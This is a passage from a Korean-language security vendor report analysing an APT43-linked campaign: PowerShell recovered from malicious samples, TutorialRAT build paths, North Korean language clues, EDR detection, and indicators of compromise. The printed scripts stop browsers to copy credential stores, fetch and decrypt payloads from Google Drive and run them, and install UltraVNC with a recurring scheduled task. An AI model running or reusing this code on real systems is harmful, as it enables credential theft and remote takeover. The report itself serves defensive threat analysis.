               Stop-Process -Name "chrome";
               } elseif($browserTypes[$i] -eq "Edge" ){
               Stop-Process -Name "msedge";
               }
               elseif($browserTypes[$i] -eq "Whale"){
               Stop-Process -Name "whale";
               }
               $tmpPath = "$env:TEMP\" + [System.IO.Path]::GetRandomFileName();
               [System.IO.File]::Copy($appPath + $dataPaths[$i] + "\Local State", $tmpPath);
               $localStateTxt = [System.IO.File]::ReadAllText($tmpPath);

[표 14] 브라우저 크리덴셜 수집 기능의 'ad_ps.bin' 케이스

 

○ 마지막 네번째는 위협 행위자가 지정한 구글 드라이브를 통해 'UltraVNC' 원격제어 모듈을 설치한 케이스입니다. 

 


Function
AESDecrypt {
   param(
       [Byte[]] $bytes,
       [String] $pass
   )
       $InputStream = New - Object System.IO.MemoryStream(, $bytes);
       $OutputStream = New - Object System.IO.MemoryStream;
       $Salt = New - Object Byte[](32);
       $BytesRead = $InputStream.Read($Salt, 0, $Salt.Length);
       if ($BytesRead - ne $Salt.Length) {
           exit;
       }
       $PBKDF2 = New - Object System.Security.Cryptography.Rfc2898DeriveBytes($pass, $Salt);
       $AESKey = $PBKDF2.GetBytes(32);
       $AESIV = $PBKDF2.GetBytes(16);
       $AES = New - Object Security.Cryptography.AesManaged;
       $Dec = $AES.CreateDecryptor($AESKey, $AESIV);
       $CryptoStream = New - Object System.Security.Cryptography.CryptoStream($InputStream, $Dec, [System.Security.Cryptography.CryptoStreamMode]::Read);
       $CryptoStream.CopyTo($OutputStream);
       $OutputStream.Dispose();
       return $OutputStream.ToArray();
   }  

$pass = "pa55w0rd";
[byte[]] $enc_bytes = (wget - UseBasicParsing "https: //docs.google.com/uc?export=download&id=1o[일부 생략]Qz").content;
$dec_bytes = AESDecrypt -bytes $enc_bytes -pass $pass;
$newString = [System.Text.Encoding]::UTF8.GetString($dec_bytes);
iex $newString;

[표 15] 'UltraVNC' 설치 기능의 'ad_ps.bin' 케이스

 

○ 구글 드라이브 주소에서 'aaa.bin' 파일을 다운로드하고, AESDecrypt 함수로 복호화해 실행합니다. 그리고 또 다른 구글 드라이브 주소에서 'UltraVNC' 파일이 포함된 압축 파일을 다운로드하고 실행합니다.         

 

 
Param (
           [String] $srcURL
       )

       try {
           $outPath = "$env:TEMP\" + [System.IO.Path]::GetRandomFileName();
           $exPath = $outPath.Substring(0, $outPath.LastIndexOf('.'))
           $outPath = $exPath + ".zip";
           $exPath = "$env:appdata";
           $calc_data_exe = $exPath + "\calc.zip";
           $calc_data_exe1 = $exPath + "\winvnc.exe";
           $calc_data_ini = $exPath + "\ultravnc.ini";
           $calc_run_s = $exPath + "\ultrarunv";
           $check_exist = (Test-Path $calc_data_exe);
           if( -not $check_exist ) {
               Invoke-WebRequest -Uri $srcURL -OutFile $outPath;

[표 16] 'UltraVNC' 설치 기능의 'aaa.bin' 명령 부분

 

○ 특히, 상기 명령 하단 부분에 다음과 같은 한글 주석처리가 포함돼 있는데, 영어 'File' 단어의 북한식 한글 표현 중 하나인 '화일' 문자가 관찰됩니다.

 

               
               $arg2 = " //b //e:vbscript " + $calc_run_s
               Start-Process -FilePath "wscript.exe" -ArgumentList $arg2
               #ultra schedule 등록 vbs를 down받아 화일로 떨구고 vbs를 실행시키는 shedule 등록 -Argument
               $action = New-ScheduledTaskAction -Execute "wscript.exe" -Argument "//b //e:vbscript " +  $calc_run_s  # 실행할 스크립트의 경로
               $trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Hours 1) -RepetitionDuration ([System.TimeSpan]::MaxValue)
               Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "HourlyTask" -Description "Runs every hour"

           }
       } catch {
       }
   }
   ExtractSQLite -srcURL "https://docs.google.com/uc?export=download&id=1p[일부 생략]vY"
}
aaa;

[표 17] 'aaa.bin' 명령어에 포함된 '화일' 문자열

 

○ 상기 내용에서 기술한 바와 같이, 위협 행위자는 사전에 다양한 PowerShell 명령어와 원격제어 모듈을 드롭박스와 구글 드라이브 등에 치밀하게 준비해 두었습니다.    

○ 아울러 인터넷에 공개된 오픈소스 기반의 RAT 프로그램을 커스텀해 사용하는 특성을 보입니다.    

 

4. TutorialRAT 소개 (About TutorialRAT)  

○ 'TutorialRAT'은 'C-Sharp-R.A.T' 이름으로 깃허브에 소스코드가 공개된 C# 기반 원격제어 프로그램입니다.    

○ 개발 과정을 튜토리얼 동영상으로 소개한 바 있습니다. 이 때문에 악성 파일은 'TutRAT' 또는 'TutClient' 등으로 표현되고 있습니다.      

 

tu (13)

[그림 13] 깃허브 화면 및 동영상 일부 

 

○ APT43 캠페인에서 사용된 'TutRAT' 변종 중에는 하기와 같이 한글 경로에서 빌드된 이력이 존재합니다. 주로 2023년 초기에 개발된 형태에서 발견되고, 다양한 변종이 보고된 바 있습니다.      

 

tu (14)

[그림 14] 'TutClient' 내부의 PDB 경로 화면

 

○ 해당 'TutRAT' 파일의 PDB 빌드 경로는 다음과 같고, 'work' 폴더 하위에 '비루스관련', '자료조사' 등의 표현이 존재합니다.   

 

E:\work\비루스관련\자료조사\0205_horse_01\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb

E:\work\비루스관련\rat\TutRat\0206_backup\C-Sharp-R.A.T-Client-master_filemanager\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb

[표 18] '비루스관련' 표현이 포함된 PDB 경로

 

○ 이는 'TutClient' 오픈소스를 APT 공격용으로 자료조사해 준비한 정황으로 해석되며, '비루스' 의미는 영어 'Virus' 단어를 북한에서 쓰는 한글 표현입니다. 반면 다른 유사 변종들은 주로 다음과 같은 경로가 쓰였는데, 'virus' 영단어로 경로명이 변경됐습니다.   

 

D:\work\Virus\자료조사\rat_source\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb

E:\horse\work\virus\source\rat\c#\trurat\0206_backup\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb

[표 19] 'virus' 폴더 경로로 바뀐 PDB 경로

 

○ GSC는 본 위협 캠페인을 조사하는 과정 중 동일 배후가 제작한 것으로 추정되는 C# 언어기반 악성 파일을 분석했습니다. 이 파일은 2023년 6월 15일에 개발된 것으로 다음과 같은 'ConsoleApplication1.pdb' 이름을 가지고 있습니다.   

 

D:\work\Virus\자료조사\rat_source\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb
D:\work\Virus\1_troy\c#\pack_2023\2023-06\work\obj\Debug\ConsoleApplication1.pdb
E:\horse\work\virus\source\rat\c#\trurat\0206_backup\C-Sharp-R.A.T-Client-master\C-Sharp-R.A.T-Client-master\TutClient\obj\Debug\TutClient.pdb

[표 20] 유사 PDB 경로에서 제작된 악성 파일 비교

 

○ 이때 TutClient.pdb 개발 경로 중 [D:\work\Virus] 경로와 동일한 점이 주목됩니다.      

 

tu (15)

[그림 15] 유사 PDB 경로에서 개발된 악성 코드

 

○ 이 악성 파일은 가짜 메시지 창을 보여주며, 단말 정보를 수집해 유출하는 전형적 인포스틸러 기능을 수행합니다. 이때 나타나는 메시지 창에는 [열기 오유], [문서가 파괴 되였습니다.]라는 표현이 존재합니다.                             

 

한국식 표현 북한식 표현
오류 오유
되었습니다 되였습니다
파일 화일
바이러스 비루스
이내 인차

[표 21] 한국과 북한 언어 표현 비교 정리

 

○ '오유'는 '오류'의 북한말이며, '되였습니다' 표현 역시 '되었습니다'의 대표적 북한식 언어 표기 중 하나입니다. 흔하지 않지만, 악성 파일 개발 중 평소 사용하는 언어 표현 습관이 흔적으로 고스란히 남겨져 발견된 사례가 있습니다. 물론, 이런 실수를 하지 않기 위해 위협 행위자들도 언어 구사에 주의를 기울이는 편이며, 앞으로 AI 활용 가능성도 있습니다.    

○ 언어기반 위협 프로파일링은 국가별 언어의 특성을 제대로 이해하고, 지역적 특색을 구분할 수 있어야만 중요 단서를 확보할 수 있습니다.    

○ 앞서 살펴본 바와 같이 본 위협 행위자는 C# 프로그래밍 언어를 APT 공격에 적극 활용한 점을 알 수 있습니다. 또, 악성 프로그램 전부를 자체 개발하기 보다 인터넷에 공개된 여러 오픈소스를 선택해 공격에 활용한 점도 특징입니다. 오픈소스를 사용해 공격 거점이나 국적, 신분 등을 은닉하는데 활용할 수 있습니다.    

○ 추가로 본 악성 파일이 사용한 스크립트 코드에는 ["http://" & ui & "/list.php?query=1":Do while .busy] 내용을 담고 있는데, 전형적인 'BabyShark' 캠페인의 'RandomQuery' 명령을 볼 수 있습니다.    

 

5. 결론 및 대응방법 (Conclusion)  

○ 2024년 1분기까지 바로가기(LNK) 유형의 APT 공격은 계속 이어지고 있습니다. 한국을 공격 대상으로 활동하는 주요 위협 행위자들은 초기 침투 단계시 단말에 설치된 Anti-Virus 탐지 회피 효과를 극대화하기 위해 이 방식을 전략적으로 사용 중입니다.    

○ 특히, 합법적으로 서비스 중인 글로벌 클라우드 저장소를 일종의 위협거점 인프라로 지속 활용 중입니다. 그러므로 개인 이용자를 포함해 기업 및 기관의 보안관리자는 주요 클라우드 저장소의 통신 이력도 세심히 살펴볼 필요가 있습니다.    

○ 주로 PowerShell 스크립트와 클라우드 서비스가 제공하는 정상 API 기능을 활용해 Fileless 기반 공격을 수행하기 때문입니다. 특히, 암호화된 코드와 통신으로 인해 이상행위 탐지와 식별이 쉽지 않습니다.    

○ 한편 구글드라이브, 드롭박스, 원드라이브 등은 APT 공격에 악용된 서비스 계정을 발견시 신속하게 차단하고, 가입자에 대한 후속 조치를 통해 유사 위협 피해 최소화에 많은 노력을 기울이고 있습니다. 이러한 공익 활동은 더 많은 보안 전문가들의 지원과 협력이 중요합니다.    

○ GSC는 한국에서 발생한 실제 위협 케이스를 수집 관찰하고, 여러 채널과 센서를 통해 확보된 침해지표의 상관관계를 다각적으로 조사했습니다. 이렇게 분석된 기초 자료는 Genian EDR 솔루션을 통해 가상의 모의 공격 과정과 위협 대응 검증을 진행했습니다.    

○ 또, 지니언스가 자체 보유하고 있는 다양한 탐지 기술(XBA)을 통해 최신 위협을 종합적으로 분석하고 대응할 수 있습니다.      

 

tu (16)

[그림 16] 압축해제 시 위협 탐지 (일부 블러 처리)

 

○ Genian EDR 솔루션은 APT 공격의 초기 시점으로 위협을 즉시 탐지해 피해를 막도록 도와줍니다.    

○ 스피어 피싱 공격을 통해 유포된 암호화 압축 파일을 이용자가 해제하는 순간부터 의심스러운 LNK 파일을 XBA 이상행위 규칙으로 즉시 탐지합니다.      

 

tu (17)

[그림 17] PowerShell 커맨드 라인 식별 (일부 블러 처리)

 

○ 만약 LNK 파일 내부에 은닉된 PowerShell 명령이 작동되면, Genian EDR 에이전트는 해당 커맨드 라인을 추출해 EDR 서버 관리자가 확인할 수 있도록 제공합니다.    

○ 이를 통해 보안 관리자는 특정 단말 내부에 유입된 위협 정보를 쉽고 빠르게 조회할 수 있고, 분석 업무에 도움을 받을 수 있습니다.     

 

tu (18)

[그림 18] 파일리스 기반의 위협 탐지 (일부 블러 처리)

 

○ 상기 APT 공격은 파일리스(Fileless) 기술을 결합해 파일단위 검색에 특화된 Anti-Virus 탐지 회피로 쓰일 수 있습니다. Genian EDR 솔루션은 PowerShell 스크립트의 파일리스 공격을 식별해 탐지하고, EDR 서버 관리자가 확인 후 후속조치 하도록 지원합니다.    

○ EDR 서버 관리자는 단말에 유입된 신규 위협을 조기에 식별하고, 내부 보안 정책설정을 통해 적절한 대응 조치를 수행할 수 있습니다.      

 

tu (19)

[그림 19] PowerShell 통한 DropBox 접속 탐지 (일부 블러 처리)

 

○ Genian EDR은 알려진 침해지표(IoC) 뿐만 아니라, PowerShell 명령을 통해 드롭박스 API로 통신을 수행하는 경우도 이상행위로 간주해 위협 탐지가 가능합니다.    

○ 2024년 1분기 국내서 발생한 주요 APT 공격은 파일리스가 일반화됐습니다. 이러한 공격을 탐지하지 못할 경우, 내부 침해사고로 발전할 수 있습니다. 따라서, 기업 및 기관의 보안 관리자는 위협 가시성 제공 뿐만 아니라, 파일리스 탐지에 특화된 EDR 솔루션을 적극 활용할 필요가 있습니다.      

 

침해 지표 (Indicator of Compromise)  

● MD5
1e66ac680d0edfe18d97b89e46c7e82e
eb08ab3854168c834ab154facfe695a3
a4bd6d00abbd79ab00161ff538cfe703
3e3013fe03f7416b8d1e96591f8e5839
c700195f61635b9a6fb1ee4359b91940
fcdcc6c56ae43f7a78413cc5204e9314
781acd3a8250da862e48425d078b54ad
32519b46b55792084240f850e0c94298
544963f602ec6c97994d38ce39368d79
dce864eabfbd6445682a4671a2fee1a9
8133c5f663f89b01b30a052749b5a988
d19253d84c6cb8fb6064e6d33bed556f
fb5aec165279015f17b29f9f2c730976
eb614c99614c3365bdc926a73ef7a492
a9276bae977589f3f670f26b2cb8a9f1
64dee04b6e6404c14d10971adf35c3a7
b70bc31b537caf411f97a991d8292c5a
515194ef77fbbe04845de290eefd0049
2f9125a538d84dd952f72722f28575b8
61a30992e0a7ab93cd3a47cc51284b35
ade1d12604dd9d62f6ef97a93cda142b
b9898e8e5b6494bcc219462c6be7c248
f395012ff30a846d0e7ed787147f5723
5ad5ace1ec82538f66acf13e48cf8db4
0040f03faf5bbdc555f2039a4e33a82b

● C2
meatalk[.]com
kyungdaek[.]com
siloamclinic[.]com
dddon[.]kr
iso3488.co[.]kr
regard.co[.]kr
aymdtt.co[.]kr
gbionet[.]com
strehab[.]com
well-story.co[.]kr
vwellpain[.]com
165.154.230[.]24
122.155.191[.]33
218.150.78[.]197
183.111.141[.]93

 


New call-to-action New call-to-action